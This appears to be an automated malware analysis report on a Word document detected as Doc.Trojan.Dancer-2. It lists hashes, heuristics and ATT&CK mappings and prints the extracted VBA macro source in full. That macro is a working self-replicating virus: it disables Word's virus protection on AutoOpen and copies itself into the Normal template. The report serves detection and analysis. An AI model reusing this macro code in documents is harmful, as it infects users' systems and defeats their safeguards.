Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ebfb5e808750675…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-06-21 14:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c32c273c0af53e0d107db50d9b8241c2 SHA-1: e895110e7c5fae3cb449cc616af858626304993b SHA-256: 5ebfb5e8087506753a493ebae529db3c6242f1fb0f2fb325fda45fb83c70d16d
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is an OLE document containing a VBA macro with an AutoOpen subroutine. This macro attempts to export itself to 'c:\dancer.wav' and then import it into the Normal template, suggesting an attempt to establish persistence. The macro also checks a registry key 'HKEY_CURRENT_USER\dancer' to avoid re-execution, indicating a persistence mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Dancer-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Dancer-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 802 bytes
SHA-256: 309c234a18179258fce6ae710bdf0155e5d1cebbe588a5cca56a3071e7b671a4
Detection
ClamAV: Doc.Trojan.Dancer-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "dancer"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
a$ = "HKEY_CURRENT_USER\dancer"
If (System.PrivateProfileString("", a$, "dancer") = False) Then
ActiveDocument.VBProject.VBComponents("dancer").Export "c:\dancer.wav"
NormalTemplate.VBProject.VBComponents.Import ("c:\dancer.wav")
System.PrivateProfileString("", a$, "dancer") = True
ElseIf ActiveDocument.VBProject.VBComponents.Item("dancer").Name <> "dancer" Then
ActiveDocument.VBProject.VBComponents.Import ("c:\dancer.wav")
End If
End Sub

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